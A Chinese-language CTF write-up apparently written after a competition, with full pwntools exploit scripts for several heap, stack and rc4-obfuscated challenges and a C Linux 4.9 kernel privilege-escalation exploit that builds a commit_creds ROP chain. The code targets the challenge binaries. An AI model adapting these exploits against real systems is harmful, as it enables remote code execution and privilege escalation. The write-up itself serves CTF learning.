又到了我最喜欢的一年一度的网安奥运会、雇佣兵大战、抓PY时间
叠个甲:打完之后拿的复现题,未加入任何队伍,所有题目均没有测试过远程
青龙组
Pwn04
首先需要输入用户名和密码,显然不存在什么\x00绕过,在长度未知的情况下直接爆破显然不是很合理
但是注意到一点,假设用户名为abcd,当我们输入ab\x00时,内容检查会正常返回0,因此最终返回的会是username length错误,因此这里可以采用侧信道爆破
通过输入(已知的部分 + ? + \x00)的方式,我们将 ? 遍历所有的字符,当遍历到正确的字符时,程序会返回username length error,否则是username error
密码部分也是同理
之后就是一个简单的2.27 UAF菜单堆,开启了sandbox
注意到程序会对用户输入加密后再存入chunk,加密方式直接问GPT,得知是rc4加密,密钥直接就是明文字符串s4cur1ty_p4ssw0rd,那么后面就很简单了,free_hook配setcontext一把梭
在setcontext布置伪造的stack的时候,想要直接把fake_stack存在chunk中有些困难,一定数量的\x00在rc4加密后会产生\x0a,不过free功能会把chunk中的内容解密了之后再free掉chunk,所以直接存fake_stack明文然后将这个chunk free掉就ok了
from pwn import*
from Crypto.Cipher import ARC4
from Crypto.Random import get_random_bytes
r=process('./pwn')
context.log_level='debug'
username=""
passwd=""
def get_username():
global username, passwd
while True:
for i in range(1,256):
if (i==0xA): continue
r.recvuntil("Input your username:\n")
r.sendline(username+chr(i)+"\x00")
result=r.recvline()
if (result=="Invalid username length!\n"):
username+=chr(i)
break
elif (result=="Username correct!\n"):
r.sendline()
username+=chr(i)
return
get_username()
def get_passwd():
global username, passwd
while True:
for i in range(1,256):
if (i==0xA): continue
r.recvuntil("Input your username:\n")
r.sendline(username)
r.recvuntil("Input your password:\n")
r.sendline(passwd+chr(i)+"\x00")
result=r.recvline()
if (result=="Invalid password length!\n"):
passwd+=chr(i)
break
elif (result=="Password correct!\n"):
passwd+=chr(i)
return
get_passwd()
def new(idx,size,content):
r.recvuntil("> \n")
r.sendline("1")
r.recvline()
r.sendline(str(idx))
r.recvline()
r.sendline(str(size))
r.recvline()
r.send(content)
def show(idx):
r.recvuntil("> \n")
r.sendline("2")
r.recvline()
r.sendline(str(idx))
def delete(idx):
r.recvuntil("> \n")
r.sendline("3")
r.recvline()
r.sendline(str(idx))
def rc4_enc(decrypted_text):
key = b's4cur1ty_p4ssw0rd'
cipher = ARC4.new(key)
return cipher.encrypt(decrypted_text)
def rc4_dec(ciphertext):
key = b's4cur1ty_p4ssw0rd'
cipher = ARC4.new(key)
return cipher.decrypt(ciphertext)
for i in range(10): new(i,0x100,"\n")
for i in range(8): delete(i)
show(6)
r.recvuntil("[key,value] = [6,")
heap_base=u64(rc4_enc(r.recvuntil("Encrypt and save value...",drop=True))[:8])-0x1bc0
success("heap_base: "+hex(heap_base))
show(7)
r.recvuntil("[key,value] = [7,")
libc_base=u64(rc4_enc(r.recvuntil("Encrypt and save value...",drop=True))[:8])-0x3ebca0
success("libc_base: "+hex(libc_base))
new(0,0x110,"\n")
delete(0)
delete(0)
new(1,0x110,rc4_dec(p64(libc_base+0x3ed8e8))+"\n")
new(2,0x110,"\n")
pop_rdi=libc_base+0x2164f
pop_rsi=libc_base+0x23a6a
pop_rdx=libc_base+0x1b96
payload=""
payload=payload.ljust(0xa0,"\x00")
payload+=p64(heap_base+0x2450)
payload+=p64(pop_rdi+1)
fake_stack="\x00"*0x10
fake_stack+=p64(pop_rdi)+p64(heap_base+0x24c8)+p64(pop_rsi)+p64(0)+p64(libc_base+0x10fbf0)
fake_stack+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap_base)+p64(pop_rdx)+p64(0x40)+p64(libc_base+0x110020)
fake_stack+=p64(pop_rdi)+p64(1)+p64(libc_base+0x1100f0)
fake_stack+="flag"
new(4,0x200,payload+"\n")
new(5,0x200,fake_stack+"\n")
delete(5)
new(3,0x110,rc4_dec(p64(libc_base+0x52085))+"\n")
#gdb.attach(r)
delete(4)
r.interactive()
白虎组
Pwn01
edit功能任意地址大数字写,改大mp_.tcache_bins,让tcache的bins数组中的指针落到后面的chunk中,达到任意地址分配。
from pwn import*
r=process('./pwn')
context.log_level='debug'
def new(size,content):
r.recvuntil("Input your choice\n")
r.sendline("1")
r.recvline()
r.sendline(str(size))
r.recvline()
r.send(content)
def delete(idx):
r.recvuntil("Input your choice\n")
r.sendline("2")
r.recvline()
r.sendline(str(idx))
def edit(addr):
r.recvuntil("Input your choice\n")
r.sendline("3")
r.recvline()
r.recvline()
r.send(p64(addr))
def show(idx):
r.recvuntil("Input your choice\n")
r.sendline("4")
r.recvline()
r.sendline(str(idx))
new(0x418,"\n")
new(0x438,"\n")
new(0x118,"/bin/sh")
delete(0)
new(0x418,"\xe0")
show(3)
libc_base=u64(r.recvuntil("\n",drop=True)+p16(0))-0x1ecbe0
success("libc_base: "+hex(libc_base))
edit(libc_base+0x1ec2d0)
delete(1)
libc=ELF("./libc-2.31.so")
delete(3)
new(0x418,p64(libc_base+libc.sym["__free_hook"]))
new(0x438,p64(libc_base+libc.sym["system"]))
delete(2)
#gdb.attach(r)
r.interactive()
Pwn02
这题比赛中居然是个0解
提供的pMalloc功能功能存在缺陷,在分配size为0xffffffffffffdc的chunk时会出现逻辑错误,没有从topchunk中分配出实际的chunk,但是仍然会返回一个正常的chunk指针,最终导致分配了一个size为负数的chunk,产生堆越界写错误
提供的pFree函数中,fastbin功能存在原生缺陷,将chunk添加进fastbin时使用了glibc>2.35的fd异或指针保护,但是使用pMalloc时存在一定的逻辑问题,这会导致fastbin无法自然产生链表,也就是无法正常free多个fastbin
此外,edit功能的size检测部分也存在问题,本应是& 0x80000000检测加密flag位少了个0,导致无法正常edit一个加密的chunk,反而是影响了漏洞的利用流程。
特别要注意到,越界写的堆size由于为负数,其& 0x80000000无法为0,因此需要提前泄漏SecretTable,由于加密方式采用异或加密,可以很容易的从密文和密钥反推出SecretTable,具体反推代码可以让GPT生成。
最终通过堆越界写,修改fastbin中的fd,最终导致任意地址分配,注意存在一定的check,类似fastbin时的size检测以及地址检测,必须要分配在大于heap_base的地方,因此只能分配在libc段上,最后选择_IO_list_all打house of cat
from pwn import*
r=process('./safenote')
context.log_level='debug'
libc=ELF("./libc-2.31.so")
def new(idx,size):
r.recvuntil(">> ")
r.sendline("1")
r.recvuntil(": ")
r.sendline(str(idx))
r.recvuntil(": ")
r.sendline(str(size))
r.recvuntil(": ")
r.sendline("0")
def new_enc(idx,size):
r.recvuntil(">> ")
r.sendline("1")
r.recvuntil(": ")
r.sendline(str(idx))
r.recvuntil(": ")
r.sendline(str(size))
r.recvuntil(": ")
r.sendline("1")
def edit(idx,size,content):
r.recvuntil(">> ")
r.sendline("2")
r.recvuntil(": ")
r.sendline(str(idx))
r.recvuntil(": ")
r.sendline(str(size))
r.recvuntil(": ")
r.send(str(content))
def edit_enc(idx,size,content,key,salt):
r.recvuntil(">> ")
r.sendline("2")
r.recvuntil(": ")
r.sendline(str(idx))
r.recvuntil(": ")
r.sendline(str(size))
r.recvuntil(": ")
r.send(str(content))
r.recvuntil(": ")
r.send(key)
r.recvuntil(": ")
r.sendline(str(salt))
def show(idx):
r.recvuntil(">> ")
r.sendline("3")
r.recvuntil(": ")
r.sendline(str(idx))
def show_enc(idx,key,salt):
r.recvuntil(">> ")
r.sendline("3")
r.recvuntil(": ")
r.sendline(str(idx))
r.recvuntil(": ")
r.send(key)
r.recvuntil(": ")
r.sendline(str(salt))
def delete(idx):
r.recvuntil(">> ")
r.sendline("4")
r.recvuntil(": ")
r.sendline(str(idx))
r.recvuntil(": ")
r.send("aaaa\n")
new(0,0x208)
new(1,0x18)
delete(0)
new(0,0x208)
show(0)
libc_base=u64(r.recv(6)+p16(0))-0x1f70e8
success("libc_base: "+hex(libc_base))
new_enc(2,0x118)
new(3,0xffffffffffffdc)
new(4,0x88)
new(5,0x68)
show_enc(2,"\x00\n",0)
cipher=r.recv(0x100)
secret_table=""
for i in range(0x100):
cipher_value = ord(cipher[i])
guessed_secret = ~(cipher_value ^ i) + 1
secret_table += chr(guessed_secret & 0xFF)
def dec(plain):
global secret_table
cipher=""
for i in range(len(plain)):
cipher_value = ord(plain[i])
secret_value = ord(secret_table[i & 0xFF])
new_value = i ^ (cipher_value - secret_value) & 0xFF
cipher += chr(new_value & 0xFF)
return cipher
delete(5)
new(5,0x68)
show(5)
heap_base=u64(r.recv(8))<<12
success("heap_base: "+hex(heap_base))
delete(5)
edit_enc(3,0x88,dec("a"*0x78+p64(0x71)+p64((libc_base+0x1ed5a0-0x23)^(heap_base>>12))),"\x00\n",0)
new(5,0x68)
new(6,0x68)
edit(6,0x1b,"a"*0x13+p64(heap_base+0x2b0))
fake_wide_struct=""
fake_wide_struct=fake_wide_struct.ljust(0x18,"\x00")
fake_wide_struct+=p64(1)
fake_wide_struct=fake_wide_struct.ljust(0x20,"\x00")
fake_wide_struct+=p64(2)
fake_wide_struct=fake_wide_struct.ljust(0x38,"\x00")
fake_wide_struct+=p64(libc_base+libc.sym["system"])
fake_wide_struct=fake_wide_struct.ljust(0xe0,"\x00")
fake_wide_struct+=p64(heap_base+0x3b0+0x20)
fake_IO_struct="/bin/sh"
fake_IO_struct=fake_IO_struct.ljust(0x28,"\x00")
fake_IO_struct+=p64(1)
fake_IO_struct=fake_IO_struct.ljust(0xa0,"\x00")
fake_IO_struct+=p64(heap_base+0x3b0)
fake_IO_struct=fake_IO_struct.ljust(0xc0,"\x00")
fake_IO_struct+=p64(1)
fake_IO_struct=fake_IO_struct.ljust(0xd8,"\x00")
fake_IO_struct+=p64(libc_base+0x1e8f90)
fake_IO_struct=fake_IO_struct.ljust(0x100,"\x00")
fake_IO_struct+=fake_wide_struct
edit(0,len(fake_IO_struct),fake_IO_struct)
#gdb.attach(r,"b _IO_switch_to_wget_mode")
r.recvuntil(">> ")
r.sendline("5")
r.interactive()
玄武组
Pwn02
检测1 .text:00000000004019B0 cmp dword ptr [rbp-28h], 1
检测2 .text:000000000040190C cmp dword ptr [rbp-11Ch], 11111111h
过了这两个check就是简单的栈溢出了,canary直接提供了
from pwn import*
r=process('./pwn')
context.log_level='debug'
r.recvuntil(": ")
canary=int(r.recvline(),16)
r.recvline()
r.send("a"*0x28+p32(1)+"a"*0x10)
r.recvline()
r.send("0")
r.recvline()
r.send("b"*0x70)
r.recvline()
#gdb.attach(r,"b *0x40213f")
pop_rdi=0x40213f
pop_rsi=0x40a1ae
pop_rdx_rbx=0x485feb
pop_rax=0x450277
syscall=0x41AC26
payload=""
payload+="a"*0x64+p32(0x11111111)+"a"*0x90+p64(canary)+"a"*0x8+p64(canary)+"a"*0x8
payload+=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(0x4c5000)+p64(pop_rdx_rbx)+p64(0x8)+p64(0)+p64(pop_rax)+p64(0)+p64(syscall)
payload+=p64(pop_rdi)+p64(0x4c5000)+p64(pop_rsi)+p64(0)+p64(pop_rdx_rbx)+p64(0)+p64(0)+p64(pop_rax)+p64(0x3b)+p64(syscall)
r.send(payload)
sleep(0.5)
r.send("/bin/sh\x00")
r.interactive()
Pwn03
一个任意大小的uaf,可读写,内核版本4.9.337,nosmap
很复古的一题,那就按照复古的方法来做
使用kmalloc-32的seq_operations来泄漏kernel_text_base,开头的start指针可以劫持执行流
kernel调用start函数指针时,会将函数地址赋值给rax,然后调用类似call rax的方式来执行
既然未开启smap保护,那么可以通过xchg esp, eax的方式,清空rsp的高位,让rsp落入用户态区域
在用户态对应的低地址处布置ROP就可以完成提权,kpti保护用signal绕过
#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <poll.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <signal.h>
#include <unistd.h>
#include <syscall.h>
#include <sched.h>
#include <pthread.h>
#include <net/if.h>
#include <arpa/inet.h>
#include <linux/sched.h>
#include <linux/keyctl.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <sys/shm.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/xattr.h>
#include <sys/syscall.h>
#define PAGE_SIZE 0x1000
int dev_fd;
uint64_t kernel_text_base;
uint64_t cs, ss, rflag, rsp;
void save_state()
{
asm(
"movq %%cs, %0;"
"movq %%ss, %1;"
"movq %%rsp, %3;"
"pushfq;"
"pop %2;"
: "=r"(cs),"=r"(ss),"=r"(rflag),"=r"(rsp)
:
: "memory"
);
}
int seq_open()
{
int seq;
if ((seq=open("/proc/self/stat", O_RDONLY))==-1)
{
puts("[X] Seq Open Error");
exit(0);
}
return seq;
}
void new(uint64_t size)
{
ioctl(dev_fd, 0, size);
}
void delete()
{
ioctl(dev_fd, 1, NULL);
}
void edit(void *ptr, ssize_t size)
{
write(dev_fd, ptr, size);
}
void show(void *ptr, ssize_t size)
{
read(dev_fd, ptr, size);
}
__attribute__((naked))
void getshell()
{
system("/bin/sh");
}
int main()
{
signal(SIGSEGV, getshell);
save_state();
dev_fd = open("/dev/easy",O_RDWR);
if (dev_fd < 0)
perror("[X] Error Open");
new(0x20);
delete(0x20);
int seq_fd = seq_open();
show(&kernel_text_base, sizeof(uint64_t));
kernel_text_base -= 0x25bcc0;
uint64_t xchg_esp_eax = kernel_text_base + 0x8d;
uint64_t prepare_kernel_cred = kernel_text_base + 0xac450;
uint64_t commit_creds = kernel_text_base + 0xac050;
uint64_t init_task = kernel_text_base + 0xe11500;
uint64_t pop_rdi = kernel_text_base + 0x48955;
uint64_t mov_rdi_rax_pop_rbp = kernel_text_base + 0x42cd7d;
uint64_t cmp_rdi_3 = kernel_text_base + 0x1386ef;
uint64_t swapgs_pop_rbp = kernel_text_base + 0x65354;
uint64_t iretq = kernel_text_base + 0x18453f;
printf("[+] kernel_text_base = 0x%llx\n", kernel_text_base);
edit(&xchg_esp_eax, 0x8);
void *page = mmap((void *)((xchg_esp_eax - PAGE_SIZE) & 0xFFFFF000), PAGE_SIZE * 0x2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memset(page, 0, PAGE_SIZE * 0x2);
uint64_t *fake_stack = page + (xchg_esp_eax & 0xFF) + PAGE_SIZE;
int cnt = 0;
fake_stack[cnt++] = pop_rdi;
fake_stack[cnt++] = init_task;
fake_stack[cnt++] = prepare_kernel_cred;
fake_stack[cnt++] = pop_rdi;
fake_stack[cnt++] = 3;
fake_stack[cnt++] = cmp_rdi_3;
fake_stack[cnt++] = mov_rdi_rax_pop_rbp;
fake_stack[cnt++] = 0;
fake_stack[cnt++] = commit_creds;
fake_stack[cnt++] = swapgs_pop_rbp;
fake_stack[cnt++] = 0;
fake_stack[cnt++] = iretq;
fake_stack[cnt++] = (uint64_t)getshell;
fake_stack[cnt++] = cs;
fake_stack[cnt++] = rflag;
fake_stack[cnt++] = rsp;
fake_stack[cnt++] = ss;
read(seq_fd, NULL, 0);
}
大师傅你好,请问有pwn01或pwn03的wp吗
后续会更新,比赛当天防止wp泄漏只放了0解的